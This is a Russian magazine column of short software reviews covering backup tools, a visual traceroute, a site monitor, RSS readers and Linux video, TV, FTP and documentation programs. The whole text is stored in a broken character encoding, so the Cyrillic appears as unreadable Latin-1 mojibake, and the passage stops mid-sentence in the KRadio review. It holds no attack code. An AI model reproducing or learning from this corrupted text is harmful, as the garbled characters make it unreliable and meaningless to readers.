Multiplicity íà âñåõ êîìïüþòåðàõ, ðàáîòîé êîòîðûõ òû ñîáèðàåøüñÿ ðóêîâîäèòü.

NH Backup v 3.0
Windows 9x/Me/NT/2k/XP/2003
Size: 3627 Kb
Shareware
www.nhbackup.com

Îïûòíûå òîâàðèùè íàâåðíÿêà çíàþò, ÷òî îáû÷íîãî þçåðà ïðàêòè÷åñêè
íåâîçìîæíî çàñòàâèòü äåëàòü ðåçåðâíûå êîïèè. Íåâàæíî, êàêîé áýêàï-
ìåíåäæåð òû ïîñòàâèøü, ïîëüçîâàòüñÿ èì âñå ðàâíî íå áóäóò, îïðàâäû-
âàÿ ñâîþ ëåíü îáû÷íîé çàáûâ÷èâîñòüþ èëè ñëîæíîñòüþ ïðîãðàììû. Íî
ñ îäíîé âïîëíå ðàáî÷åé ñõåìêîé ÿ âñå-òàêè íåäàâíî ñòîëêíóëñÿ. Îñî-
áåííîñòüþ ýòîé ñõåìû áûëî òî, ÷òî âñå îïåðàöèè ïî àðõèâàöèè/ñèíõðî-
íèçàöèè äàííûõ çàïóñêàëèñü è âûïîëíÿëèñü àâòîìàòè÷åñêè, è îò ïîëü-
çîâàòåëÿ òðåáîâàëîñü òîëüêî îäíî: ïåðåä óõîäîì äîìîé îí äîëæåí áûë
âñòàâèòü â USB-ïîðò êîìïüþòåðà ñâîé ïåðñîíàëüíûé ôëåø-äðàéâ. 
Áëàãîäàðÿ ïðîãðàììå NH Backup òû òîæå ìîæåøü îöåíèòü ýëåãàíòíîñòü
ïîäîáíîãî ðåøåíèÿ. Îò îáû÷íîãî áýêàï-ìåíåäæåðà óêàçàííàÿ ñîôòèíà
îòëè÷àåòñÿ ðàñøèðåííîé ïîääåðæêîé ñìåííûõ äèñêîâ è íàëè÷èåì ïðîã-
ðàììû-àãåíòà, êîòîðàÿ îòñëåæèâàåò ïîäêëþ÷åíèå òàêèõ äèñêîâ ê êîìïü-
þòåðó. Åñòåñòâåííî, NH Backup Agent çàïóñêàåòñÿ ïîñëå çàãðóçêè ñèñòå-
ìû è ïîñòîÿííî ðàáîòàåò â ôîíîâîì ðåæèìå, íî ââèäó ìàëîãî âåñà àãåí-

òà ýòî îáñòîÿòåëüñòâî
íå íàïðÿãàåò. Êñòàòè,
ñïåöèàëüíî õî÷ó îòìå-
òèòü, ÷òî NH Backup íå
ïûòàåòñÿ ñêèíóòü òâîè
äàííûå íà ëþáóþ âîòê-
íóòóþ â êîìïüþòåð
ôëåøêó. Íåò, ïðîöåññ
ðåçåðâíîãî êîïèðîâà-
íèÿ íà÷èíàåòñÿ ëèøü
òîãäà, êîãäà â ñèñòåìå
ïîÿâëÿåòñÿ äèñê, ñå-
ðèéíûé íîìåð êîòîðî-
ãî ïðîïèñàí â íàñòðîé-
êàõ ïðîãðàììû.

GEO Spider v 1.5
Windows 9x/Me/NT/2k/XP
Size: 10914 Kb
Shareware
www.oreware.com

Íîâàÿ ïðîãðàììà èç ðàçðÿäà âèçóàëüíûõ «òðàññèðîâùèêîâ», òî åñòü óòè-
ëèò, óìåþùèõ îòîáðàæàòü ïóòü ñëåäîâàíèÿ ip-ïàêåòîâ íà êàðòå ìèðà.
Ïðîãðàìì ïîäîáíîãî ðîäà î÷åíü ìàëî, îäíàêî îäíà èç íèõ � VisualRoute
(www.visualware.com) � ðàçâèâàåòñÿ óæå ñòîëüêî ëåò, ÷òî êîíêóðèðîâàòü
ñ íåé ïî äîñòîâåðíîñòè îïðåäåëåíèÿ ãåîãðàôè÷åñêîãî ïîëîæåíèÿ õîñòîâ,
÷åðåç êîòîðûå ïðîõîäÿò äàííûå, ïðàêòè÷åñêè íåâîçìîæíî. Íî, ê ñ÷àñòüþ,

GEO Spider è íå ïûòàåòñÿ ýòî äåëàòü � câîþ «ìîëîäîñòü» ïðîãðàììà ñòà-
ðàåòñÿ êîìïåíñèðîâàòü ñ ïîìîùüþ ðÿäà äîïîëíèòåëüíûõ ôóíêöèé :). Íó,
ê ïðèìåðó, â GEO Spider íå íàäî âðó÷íóþ âáèâàòü àäðåñà � ó ïðîãè åñòü
ñëåäÿùèé ìîäóëü, êîòîðûé ñàì îòñëåæèâàåò èíòåðíåò-çàïðîñû âñåõ ïðè-
ëîæåíèé. Êðîìå òîãî, ïðîãà íàêàïëèâàåò èíôîðìàöèþ è íàíîñèò íîâûå
ìàðøðóòû ñëåäîâàíèÿ äàííûõ, íå çàòèðàÿ ñòàðûå. È ýòî íå òîëüêî ñèìïà-
òè÷íî âûãëÿäèò! Âî âðåìÿ òåñòèðîâàíèÿ ÿ âîñïîëüçîâàëñÿ äàííîé ôóíê-
öèåé, ÷òîáû óçíàòü, êàêèå ïðîãè (áåç îñîáîãî íà òî ðàçðåøåíèÿ :)) ëàçàëè
â Ñåòè, è êóäà èìåííî îíè îáðàùàëèñü� Õì� À âåäü åñëè ïîäóìàòü, òî
GEO Spider, ïîæàëóé, ñïîñîáåí ïîíðàâèòüñÿ äàæå òåì, êîìó ñëîâà ping,
whois è traceroute àáñîëþòíî íè÷åãî íå ãîâîðÿò. Âçãëÿíè íà ñêðèíøîò �
òàì, äóìàþ, õîðîøî âèäíî, êàêóþ îðèãèíàëüíóþ ôîíîâóþ êàðòèíêó ýòà
ïðîãà ìîæåò (ïî êîìàíäå ïîëüçîâàòåëÿ) ïîìåñòèòü íà åãî ðàáî÷èé ñòîë. :) 

WebSite-Watcher v 4.04
Windows 9x/Me/NT/2k/XP
Size: 3050 Kb
Shareware
www.aignes.com

Ìîùíåéøèé èíñòðóìåíò, õðàíÿ-
ùèé â óäîáíîé ôîðìå çàêëàäêè
ïîëüçîâàòåëÿ è àâòîìàòè÷åñêè ïðî-
âåðÿþùèé «çàëîæåííûå» ñàéòû íà
íàëè÷èå îáíîâëåíèé è èçìåíåíèé.
Êîïèè âñåõ îáíîâèâøèõñÿ âåá-
ñòðàíèö ïðîãðàììà çàïèñûâàåò íà
äèñê äëÿ èõ ïîñëåäóþùåãî îôëàé-
íîâîãî ïðîñìîòðà. Ýòîò ïðîñìîòð
îáåñïå÷èâàåò âñòðîåííûé áðàóçåð,

êîòîðûé âûâîäèò ñòðàíè÷êó íà ýêðàí, íå çàáûâàÿ ïîäñâå÷èâàòü òå åå
ó÷àñòêè, êîòîðûå óñïåëè èçìåíèòüñÿ ñî âðåìåíè ïîñëåäíåé ïðîâåðêè.
Åäèíñòâåííûé êîíêóðåíò WebSite-Watcher (www.aignes.com) � ïðîãðàì-
ìà Check&Get (www.activeurls.com). Óâû, åå òðåòüÿ âåðñèÿ äî ñèõ ïîð
åùå íå âûøëà èç ñòàäèè áåòà-òåñòèðîâàíèÿ. À ýòî çíà÷èò, ÷òî ïî ñâîèì
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ôóíêöèîíàëüíûì âîçìîæíîñòÿì WebSite-Watcher âíîâü âûðûâàåòñÿ
âïåðåä. Â ïðîãó âñòðîåí RSS-ðèäåð è ïîääåðæêà ñêðèïòîâ. Íî ãëàâíîå,
÷òî â WebSite-Watcher óæå ðåàëèçîâàíà ñèñòåìà ôèëüòðàöèè, ïîçâîëÿ-
þùàÿ ñâåñòè ê íóëþ ïðîöåíò ëîæíûõ ñðàáàòûâàíèé. Òåïåðü íå îáÿçà-
òåëüíî ìîíèòîðèòü âñþ ñòðàíèöó � ïðîãà ìîæåò ïðîâåðÿòü ëèøü ÷àñòü,
âûáðàííóþ ïîëüçîâàòåëåì, íå îáðàùàÿ âíèìàíèÿ íà ïîÿâëåíèå íîâûõ
áàííåðîâ/ðåêëàìíûõ áëîêîâ. À ýòî, ïîâåðü ìíå, î÷åíü âàæíî! Îñîáåííî
åñëè òû òàê æå, êàê è ÿ, åæåäíåâíî êîíòðîëèðóåøü ñ ïîìîùüþ ýòîé ïðî-
ãè âåñü Èíòåðíåò (íó, èëè, ïî êðàéíåé ìåðå, îêîëî ñîòíè èíòåðíåò-ðå-
ñóðñîâ: ñâåæèå ïîñòóïëåíèÿ ýëåêòðîííûõ áèáëèîòåê, èíòåðåñíûå âåòêè
ôîðóìîâ, íîâîñòíûå ëåíòû èíôîðìàöèîííûõ ðåñóðñîâ è ò.ï. :)).

UsefulRest 2.6a Build 94 
Windows 95/98/me/2K/XP/2003 
Shareware 
Size: 540 Kb 
www.olympsoft.com 

Â îäíîì èç ïðîøëûõ íîìåðîâ ÿ îáåùàë óñòðàíèòü ïðîáëåìû ñ ïîòåíöè-
åé è æèäêèì ñòóëîì ñ ïîìîùüþ ïðîãðàììíîãî ýìóëÿòîðà êàêòóñà. ß íå
Êàøïèðîâñêèé èëè ×óìàê, íî ñåãîäíÿ ñíîâà ïðåäëîæó ðåøåíèå âñåõ
ïðîáëåì, êîòîðûå óñòðàèâàåò òâîé æåëåçíûé êîíü. UsefulRest áóäåò
çàñòàâëÿòü òåáÿ îòäûõàòü, âûðóáàÿ êîìï ÷åðåç îïðåäåëåííûå âðåìåí-
íûå ïðîìåæóòêè. Îïèñàíèå ïðîãè íà÷èíàåòñÿ ñ ïåðå÷èñëåíèÿ áåñêîíå÷-
íûõ áîëåçíåé, êîòîðûå âûçûâàþòñÿ ðàáîòîé çà êîìïîì. Ñîâåòóþ ñêà÷è-
âàòü ïðîãó ñ çàêðûòûìè ãëàçàìè, ÷òîáû íå îáíàðóæèòü ó ñåáÿ ñèìïòîìû
âñåõ íàðèñîâàííûõ íà ñàéòå áîëÿ÷åê. Äðóãîå äåëî, êàê ïîäìåòèë îäèí
èç þçåðîâ ïðîãè, ó èñêðåííåãî ïîêëîííèêà ïðîäóêòà ìîãóò áûòü ïðîáëå-
ìû ñ ãîëîâîé, åñëè îí íå ñïîñîáåí ñàì äåëàòü ïåðåðûâû â ðàáîòå áåç
ïðèìåíåíèÿ ãðóáîé ñèëû. Îáêàòûâàÿ ñîôòèíó, ÿ ðàññòàâèë ñåáå ïåðå-
ìåíêè â ðàáîòå, êîòîðûå àíîíñèðîâàëèñü wav'îì øêîëüíîãî çâîíêà :). 

Secura Backup 2.13 
Windows 95/98/me/2K/XP/2003 
Shareware 
Size: 3105 Kb 
www.securabackup.com 

Ðàíüøå ìåíÿ ðàçäðàæàëè êîäåðû, êîòîðûå îáúÿâëÿëè îòêðûòèåì âåêà
ñâîé íîâûé (20000434343-é) MP3-ïëååð èëè download-ìåíåäæåð. Òå-
ïåðü ïîÿâèëàñü íîâàÿ ñòàòüÿ ðàçäðàæåíèÿ � backup-óòèëèòû.
Äî êðàõà ñèñòåìû áýêàï äîâîäèòü íå õîòåëîñü è íå óñïåâàëîñü... Òåïåðü
æå ÿ ïðåäëàãàþ äåéñòâèòåëüíî íîâóþ çàòåþ, êîòîðàÿ âñîñàëà öåëûé
ñòðîé ïðåæäå íåâèäàííûõ òåì (ïî êðàéíåé ìåðå, ìîèì çîðêèì ãëàçîì
:)). Ñðåäè íèõ � çàïóòûâàíèå ñîõðàíÿåìîé èíôû â 128 áèòàõ øèôðà,
êîòîðîå, áåçóñëîâíî,
áóäåò âîñòðåáîâàíî
õàêåðþãîé. Åãî íå ïî-
ïàëÿò, êàê îäíîãî ìî-
åãî çíàêîìîãî, ÷òî
èìåë íà õàðäå ñóïåð-
ïóïåð-ñåêñè øèôð, íî
âñå áýêàïíûå DVD ëå-
æàëè íà àíòðåñîëè â
ãîëîì âèäå, êîòîðûìè
ïîòîì çàëþáîâàëèñü
÷åêèñòû ïðè îáûñêå...

Âàæíî íå òîëüêî øèôðîâàíèå èíôû, íî è ïðàâèëüíîå ìåñòî åå ñêëàäèðî-
âàíèÿ. Äàííàÿ òóëçà óìååò ðàçìåùàòü èíôî íà FTP, ðàññûëàòü ïî ÷àñòÿì
íà e-mail, ñëèâàòü íà ñåðâåðû ëîêàëêè è, êîíå÷íî, íàðåçàòü áîëâàíêè.
Ìîæíî êàê ïîïîëíÿòü óæå ñîçäàííûå àðõèâû, òàê è äåðæàòü èõ ðàçäåëüíî,
÷òîáû èìåòü èíôî â ñîõðàííîñòè, íå çàòðîíóòîé âîçìîæíûìè èçìåíåíèÿ-
ìè. Åñëè backup ïî-õàêåðñêè, òî backup îò Secura! 

Kaboodle 1.02 
Windows 95/98/me/2K/XP/2003 
Freeware 
Size: 1230 Kb 
www.kaboodle.org 

Âñåì èçâåñòíî, ÷òî åñëè IT-êîíñàëòèíãîâàÿ êîíòîðà íàõîäèò äåíåæíîãî
êëèåíòà, òî òîò ïîäâåðãàåòñÿ áåçîñòàíîâî÷íîé äîéêå. Îäíîãî ìîåãî
çíàêîìîãî ðàçâåëè, âûäàâ áðåäîãîí, ÷òî äëÿ ñîåäèíåíèÿ åãî ëîêàëêè â
Ìîñêâå ñ îôèñîì â Åêàòåðèíáóðãå íóæíî ïðîòÿãèâàòü äîðîãèå (çîëî-

òûå?) êàáåëè, íàñòðàèâàòü ðîóòåðû ó ïðîâàéäåðîâ ñ îáåèõ ñòîðîí, äàæå
ïîëó÷àòü ðàçðåøåíèå îò ÔÀÏÑÈ! Òû ìîæåøü äîãàäàòüñÿ, ñêîëüêî áàá-
ëà ìîã ñîõðàíèòü ýòîò ãîðåìûêà, åñëè áû êóïèë Õ è ñêà÷àë ôðèøíóþ
«ñîåäèíÿëêó» ñåòåé Kaboodle. Èìåÿ *nix-êîðíè (êîä, íàïèñàííûé íà ÷èñ-
òîì è ãðàìîòíîì C), ïðîãà âñå æå íåñåò î÷åíü êîìôîðòíûé GUI. Â íåì
ìîæíî èçó÷àòü íàñòîÿùèõ ÷ëåíîâ òâîåé ñåòè è òåõ, ÷òî ïîïàäóò â òâîè
ðóêè çàãðåáóùèå ïîñëå ëèíêîâêè. Âîçìîæíî è óäàëåííîå óïðàâëåíèå
ïîäêîíòðîëüíûìè ìàøèíàìè, êîòîðîå ÿ íàøåë ëèøü «âîçìîæíûì», íî
íå èäåàëüíûì, òàê êàê óäîáñòâà Radmin'à íàãíàòü ïîêà ÷òî íå óäàëîñü. 

Awasu 2.1.3 Beta 
Windows 95/98/me/2K/XP/2003 
Freeware 
Size: 4292 Kb 
www.awasu.com 

Ðàíüøå, êîãäà âûäàâàëàñü ñâîáîäíàÿ ìèíóòêà, ÿ «óïèðàë» ãëàçà â
àñüêó è ìèðê. Òåïåðü  îáùåíèå ìíå çàìåíÿåò ëþáèìûé RSS-êëèåíò.
Åãî «êîðìåæêîé» (feed'àìè) ÿ ñíàáæàþ ñâîé íåíàñûòíûé ìîçã, êîòî-
ðûé, äàæå áóäó÷è íàêîðìëåííûì, ïðîñèò ïîñåùåíèÿ îáûêíîâåííûõ
ñàéòîâ. Íå æèðíî ëè áóäåò? ß òàê è ïîäóìàë, êîãäà ïîñòàâèë íîâûé
RSS êëèåíò Awasu âìåñòî ñâîåãî ñòàðîãî RSS Bandit. Çäåñü îòëè÷è-
òåëüíîé îñîáåííîñòüþ îêàçûâàåòñÿ ïëàãèí, êîòîðûé óìååò «íà ëåòó»
ïðåîáðàçîâûâàòü êîíòåíò â ïðèâû÷íûé XML. Òåïåðü ðåãóëÿðíàÿ ïðî-
ãóëêà ïî «Èçáðàííîìó» îòìåíÿåòñÿ, òàê êàê âñå õîäîâûå ñàéòû óæå
ïðèíÿòû â êà÷åñòâå êàíàëîâ Awas'îé. Îäèí ëèøü êîñÿê áåñïëàòíîé
âåðñèè: êàíàë ìîæíî îáíîâëÿòü òîëüêî ðàç â ÷àñ :(. Â ñëó÷àå ïîòîêà
íîâîñòåé ýòî ìîæåò áûòü âïîëíå ñúåäîáíî, íî ÷òî äåëàòü, êîãäà àêòó-
àëüíîñòü èíôû èçìåðÿåòñÿ ìè-
íóòàìè, êàê, íàïðèìåð, ïðè ïðî-
ãóëêå ïî áèðæåâûì êîòèðîâ-
êàì? Íå òîëüêî áðîêåð ñ áàíêè-
ðîì áóäóò ïëàêàòü, íî è âñå ôî-
ðóì÷àíå, êîòîðûå ïðèâûêëè
ìîëíèåíîñíî îòâå÷àòü íà ñîîá-
ùåíèÿ. Íåäîðàáîòî÷êà ñëó÷è-
ëàñü, ãîñïîäà äåâåëîïåðû, ïîêà
Awasu ïîëó÷àåò ëèøü ñòàòóñ
«âìåñòå», à íå «âìåñòî». 



Cinelerra 2.0
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â RPM): 12 Ìá
http://heroinewarrior.com/cinelerra.php3
Ëèöåíçèÿ: GNU GPL

Ôëàãìàíñêèé êîðàáëü íåëèíåéíîãî âèäåîìîíòàæà äëÿ Linux. Áëèæàéøèé ê
Cinelerra ïî âîçìîæíîñòÿì àíàëîã èç ìèðà Windows � ýòî Adobe Premiere
Pro, õîòÿ ó ïîñëåäíåãî áîëåå ÷åëîâå÷íûé èíòåðôåéñ. Ðå÷ü èäåò î òîì ðå-
æèìå ðåäàêòèðîâàíèÿ, êîãäà òû ìîæåøü ñâîáîäíî ïåðåìåùàòü ìûøüþ
ôðàãìåíò âèäåî ïî âðåìåííîé øêàëå. Òàêàÿ âîçìîæíîñòü ëèøü íåäàâíî
ïîÿâèëàñü â CVS-âåòêå Cinelerra, è íåñêîëüêî èíà÷å (ïî ñâèäåòåëüñòâó î÷å-
âèäöåâ � õóæå) ðåàëèçîâàíà â îôèöèàëüíîé âåòêå 2.0, êîòîðóþ ÿ íå ìîãó
ïîêà îïðîáîâàòü ïî òåõíè÷åñêèì ïðè÷èíàì. ×òî äî òðàäèöèîííîãî â
Cinelerra ðåæèìà ðåäàêòèðîâàíèÿ, òî ýòî îïåðàöèè âûðåçàíèÿ, êîïèðîâà-
íèÿ è âñòàâêè. Åùå îäíî îòëè÷èå îò Premiere � ýôôåêòû ïðèìåíÿþòñÿ ê
äîðîæêå, à íå ê ôðàãìåíòó. Îäíàêî òû ìîæåøü îãðàíè÷èòü äåéñòâèå ýô-
ôåêòà â îïðåäåëåííîì ïðîìåæóòêå âðåìåíè. Ðàçëè÷íûõ âèäåî- è àóäèî-
ýôôåêòîâ â Cinelerra íàñ÷èòûâàåòñÿ íåñêîëüêî äåñÿòêîâ. Ïîääåðæèâàåòñÿ
àâòîìàòèçàöèÿ � ðàáîòà ñ êëþ÷åâûìè êàäðàìè, òî åñòü ïàðàìåòðû ýô-
ôåêòîâ ìîæíî äèíàìè÷åñêè èçìåíÿòü íà âðåìåííîé øêàëå.
Ðàçðàáîò÷èêè óòâåðæäàþò, ÷òî ñ Cinelerra ëó÷øå ðàáîòàòü íà 64-áèòíîì
ïðîöåññîðå � òîãäà îíà âåäåò ñåáÿ ñòàáèëüíåå. È ïðàâäà � íà ìîåì 32-
áèòíîì Athlon'å Cinelerra íå ðàç (è äàæå íå äâà) ïðîÿâëÿëà íîðîâ, ïðè÷åì
òàêîé, ÷òî èíîãäà ïðèõîäèëîñü âðó÷íóþ ïðàâèòü XML-ôàéëû � ôàéëû
ïðîåêòîâ. Âïðî÷åì, ýòî íå ïîìåøàëî ìíå ñìîíòàæèðîâàòü â Cinelerra
ïëàñòèëèíîâûé ìóëüòôèëüì, ñíÿòûé íà öèôðîâîé ôîòîàïïàðàò.
Â ñîñòàâå Cinelerra èäåò íåñêîëüêî êîíñîëüíûõ óòèëèò. mpeg3toc èñïîëüçó-
åòñÿ äëÿ èíäåêñèðîâàíèÿ MPEG1/2 è MP3-ôàéëîâ. Ðàíüøå, äî âåðñèè
Cinelerra 2.0, èìåííî ñîçäàííûå ñ ïîìîùüþ ýòîé óòèëèòû toc-ôàéëû, à íå
îðèãèíàëüíûå MPEG'è, ñëåäîâàëî çàãðóæàòü â Cinelerra. Òåïåðü æå
Cinelerra 2.0 èìïîðòèðóåò MPEG1/2 áåç êàêèõ-ëèáî äîïîëíèòåëüíûõ óñèëèé
ñî ñòîðîíû ïîëüçîâàòåëÿ. Äëÿ ñáîðêè MPEG2 âèäåî è çâóêà â îäèí ôàéë-
êîíòåéíåð íàäî èñïîëüçîâàòü ìóëüòèïëåêñåð mplexhi, ïðèìåðíî òàê:

mplexhi -f 2 âèäåî.mpg çâóê.mpa ðåçóëüòàò.mpg

Îáû÷íûé mplex èç ïàêåòà Transcode ïëîõî ïîíèìàåò MPEG2-âèäåî, âû-
âåäåííîå èç Cinelerra. 
Ñðåäè ïðî÷èõ èíòåðåñíûõ âîçìîæíîñòåé Cinelerra îòìå÷ó òàêèå, êàê
ðàñïðåäåëåííûé ðåíäåðèíã, õîðîøèé è ãëàâíîå ñâîáîäíûé MPEG2-
êîäèðîâùèê, ðàáîòà ñ ìàñêàìè (õîòÿ è ãëþ÷èò), âîçìîæíîñòü çàäàòü
îãðàíè÷èâàþùóþ îáëàñòü îòîáðàæåíèÿ äëÿ êîíêðåòíîé äîðîæêè.
Ïðîãðàììà � òÿæåëîâåñ, âñåãî çäåñü ðàññêàçàòü íåëüçÿ. Óñòàíàâëè-
âàòü èç èñõîäíèêà (îñîáåííî CVS-âåðñèþ) ñîâåòóþ òîëüêî îïûòíûì
ïîëüçîâàòåëÿì, à îôè-
öèàëüíûé RPM íàäî
ñòàâèòü ñ -- force --
nodeps, äà åùå, âîç-
ìîæíî, ïðèäåòñÿ äå-
ëàòü ñèìëèíêè íà íå-
êîòîðûå áèáëèîòåêè
(íà êîòîðûå Cinelerra
áóäåò ðóãàòüñÿ). Íî
äåëî òîãî ñòîèò � òû
ïîëó÷èøü îòëè÷íóþ
ïðîãðàììó äëÿ âèäåî-
ìîíòàæà.

XdTV 2.2.0
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .gz): 905 ÊÁ
http://xawdecode.sourceforge.net/htmlpageUS/indexUS.shtml
Ëèöåíçèÿ: GNU GPL

Ðàíåå ýòà ïðîãðàììà
íîñèëà èìÿ Xawdeco-
de, ÷òî ìîæåò íàìåê-
íóòü òåáå íà åå ïðîèñ-
õîæäåíèå. Êòî íå çíà-
åò óòèëèòó äëÿ ïðîñ-
ìîòðà ÒÂ � XawTV?
Âñå çíàþò. Íî XawTv
íå óìååò çàïèñûâàòü
âèäåî. À XdTV � óìå-
åò, äà åùå îñíàùåíà
øòóêîé äëÿ ïðèåìà òå-
ëåòåêñòà � AlevT, êî-
òîðûé âñòðîåí ïðÿìî
â XdTv (êàê èçâåñòíî,
ñóùåñòâóåò è îòäåëü-
íàÿ âåðñèÿ AlevT). Äëÿ çàïèñè âèäåî XdTV èñïîëüçóåò êîäåêè FFMPEG
(êîòîðûé íàäî ñêà÷àòü îòäåëüíî) è XVid. Äëÿ çâóêà � ðàçóìååòñÿ,
LAME. Íî ìîæíî ïèñàòü çâóê è â íåñæàòûé WAV. 
Êðîìå ïðèåìà ñèãíàëà ñ ÒÂ-òþíåðà (à çíà÷èò, çàïèñûâàòü ìîæíî íå òîëüêî
ÒÂ-êàíàëû, íî è âèäåî è çâóê ñ êàìåðû), XdTV ïîçâîëÿåò âêëþ÷àòü ñãëàæè-
âàíèå íåñêîëüêèìè àëãîðèòìàìè, ïîìîãàÿ â áîðüáå è èíòåðëåéñèíãîì. Åñòü
òàêæå îêíî Mozaic channels äëÿ ïåðåêëþ÷åíèÿ êàíàëîâ, ãäå êàæäûé èç íèõ
ïðåäñòàâëåí íåáîëüøèì ñêðèíøîòîì. Íî îñíîâíîé ñïîñîá ïåðåêëþ÷åíèÿ
êàíàëîâ � ÷åðåç ìåíþ â îêíå âûâîäà èçîáðàæåíèÿ, ëèáî ïî ãîðÿ÷èì êëàâè-
øàì. Åñòü òàêæå ïîääåðæêà ïóëüòà äèñòàíöèîííîãî óïðàâëåíèÿ ÷åðåç Lirc.
Äëÿ êàæäîãî êàíàëà ìîæíî íàñòðàèâàòü ïàðàìåòðû èçîáðàæåíèÿ (ÿð-
êîñòü, öâåòíîñòü è òîìó ïîäîáíîå), ãðîìêîñòü, íîðìàëü (PAL, SECAM,
NTSC). Íà ìîé âçãëÿä, XdTV � èäåàëüíûé ïðîãðàììíûé «êîìáàéí», ñîâ-
ìåùàþùèé â ñåáå âèäåîìàãíèòîôîí è òåëåâèçîð. Ñðåäè íåáîëüøèõ ìè-
íóñîâ � äëÿ íåêîòîðûõ âèäæåòîâ èíòåðôåéñà íóæíû (èíà÷å áóäóò äðóãèå,
ñîâñåì óæ ïðîñòûå âèäæåòû) áèáëèîòåêè âðîäå Xaw3D è Xaw95. Â ìîåé
Mandriva ýòî íå ïðîáëåìà, à âîò êàê â òâîåì äèñòðèáóòèâå � íå çíàþ.

gFtp 2.0.18
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .bz2): 1242 Êá
http://gftp.seul.org/
Ëèöåíçèÿ: GNU GPL

Îäèí èç ñàìûõ óäîáíûõ FTP-êëè-
åíòîâ, êîòîðûå ïîïàäàëèñü ìíå â
ðóêè. Íè÷åãî ëèøíåãî. Äâå ïàíåëè:
íà îäíîé � ëîêàëüíàÿ ôàéëîâàÿ
ñèñòåìà, íà äðóãîé � óäàëåííàÿ.
Ïîääåðæêà çàêëàäîê íà ñåññèè (ñ
âîçìîæíîñòüþ ñîõðàíèòü ïàðîëü),
ìåíþ äëÿ âûïîëíåíèÿ íàèáîëåå
÷àñòî èñïîëüçóåìûõ ïî FTP-êî-
ìàíä (ñîçäàíèå êàòàëîãà, ñìåíà
ïðàâ äîñòóïà è òàê äàëåå), ðàáîòà

Petr Semiletov
www.roxton.kiev.ua
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ïî PASV. Íåêèì îáðàçîì ïîääåðæèâàåòñÿ è SSH, íî ÿ íå ïðîáîâàë �
ìíå îáû÷íîãî ssh/scp õâàòàåò. 
Â ãëàâíîì îêíå gFtp, íèæå ïàíåëåé ñ ôàéëîâûìè ñèñòåìàìè íàõîäèòñÿ
îáëàñòü ëîãà/ñòàòóñà, êóäà î÷åíü íàãëÿäíî âûâîäèòñÿ èíôîðìàöèÿ î
ïðîèçâîäèìûõ è çàâåðøåííûõ äåéñòâèÿõ. Êàê-íèêàê óäîáíåå, ÷åì ïëà-
âàþùèå ïî âñåìó ðàáî÷åìó ñòîëó ñëóæåáíûå îêîøêè Konqueror'à, ñîîá-
ùàþùèå, ñêîëüêî ïðîöåíòîâ ïåðåêà÷êè âûïîëíåíî. Ðàáîòó ñ gFtp óñêî-
ðÿåò íàëè÷èå äâóõ àäðåñíûõ ñòðîê, ñ ïîìîùüþ êîòîðûõ ìîæíî áûñòðî
ïåðåéòè â íóæíûé êàòàëîã. Äà è ñàìà gFtp áåãàåò äîâîëüíî øóñòðî, åñ-
ëè ó òåáÿ íà êîìïüþòåðå íå òîðìîçÿò ïðîãðàììû, îñíîâàííûå íà GTK+2.  

Devhelp 0.10
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .bz2): 394 Êá
http://developer.imendio.com/wiki/Devhelp
Ëèöåíçèÿ: GNU GPL

Õîòÿ ëè÷íî ÿ ïðåäïî÷èòàþ äëÿ ïðîñìîòðà îòíîñÿùåéñÿ ê ïðîãðàììèðî-
âàíèþ äîêóìåíòàöèè îáû÷íûé áðàóçåð, ñêàðìëèâàÿ åìó HTML-äîêóìåí-
òû, íî èíîé ðàç çàïóñêàþ è Devhelp, ïîòîìó ÷òî òàì ìîæíî íàéòè ìíîãî
÷åãî èíòåðåñíîãî. À èìåííî �  îïèñàíèÿ API â ôîðìàòå Devhelp, ëèáî
ñîçäàííûå (îïèñàíèÿ, íå API) â gtk-doc è ïîìåùåííûå â usr/share/gtk-
doc/html. Òàì òåáå è îïèñàëîâêà ôóíêöèé Gconf, è GnomeVFS, è GTK �
âñå, ÷òî äóøà ïîæåëàåò. 
Ñîáñòâåííî ãîâîðÿ, Devhelp � ýòî áðàóçåð, çàòî÷åííûé ïîä ïðîñìîòð äî-
êóìåíòàöèè äëÿ ïðîãðàììèñòîâ. Â êà÷åñòâå áðàóçåðíîãî êîìïîíåíòà ïî
óìîë÷àíèþ èñïîëüçóåòñÿ gtkhtml2, à íà âûáîð � Mozilla/Firefox (ñîáðàí-
íûå ïîä GTK+2). Äëÿ ðàáîòû Devhelp íóæíû òàêæå GTK+2, gnome-vfs è
libgnomeui. Õîòÿ íà ìîé âçãëÿä, âïîëíå ìîæíî áûëî îáîéòèñü è îäíîé Gtk. 
×åãî íå õâàòàåò ïðîãðàììå? Áîëüøå íàñòðîåê è ìåõàíèçìà çàêëàäîê è
êàêèõ-íèáóäü ìàðêåðîâ òåêñòà, êàê åñòü ïëàãèíû ê Firefox. Ñòðîêà ïîèñêà
â DevHelp âûíåñåíà íà îòäåëüíóþ âêëàäêó ðÿäîì ñî âêëàäêîé îãëàâëåíèÿ
� òîæå íå ñîâñåì óäîáíî, ïðèõîäèòñÿ ìûøüþ ùåëêàòü, ÷òîáû ïåðåêëþ-
÷èòüñÿ. Åùå íå õâàòàåò êîíòåêñòíîãî ìåíþ. Áëàãî, â Linux ìîæíî êîïèðî-
âàòü òåêñò, ïðîñòî âûäåëÿÿ åãî. À òàê â DevHelp � íè ïàíåëè èíñòðóìåí-
òîâ äëÿ ôóíêöèé êîïèðîâàíèÿ è èì ïîäîáíûõ, íè ìåíþøêè ñ àíàëîãè÷íû-
ìè ôóíêöèÿìè. Ñîâåðøåííî ñïàðòàíñêèé èíòåðôåéñ. Íî óäîáíî. Ìîãó
ïîñïîðèòü, ÷òî åñòü ïðîãðàììèñòû, êîòîðûå áåç ýòîé øòóêè êàê áåç ðóê. À
åùå DevHelp âñòðîåíà â òàêèå ñðåäû ðàçðàáîòêè, êàê gIDE è Anjuta.

KRadio 1.0
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .bz2): 2 Ìá
http://kradio.sourceforge.net
Ëèöåíçèÿ: GNU GPL

Ïåðåïðîáîâàâ ìíîãî ïðîãðàìì äëÿ ïðèåìà ðàäèî ñ êàðòû ÒÂ-òþíåðà, ÿ
îñòàíîâèë ñâîé âûáîð èìåííî íà KRadio. Ðàçóìååòñÿ, äëÿ åå ðàáîòû òå-
áå íóæåí íàñòðîåííûé ìîäóëü Video4Linux (V4L è V4L2), ïîñêîëüêó ñàìà
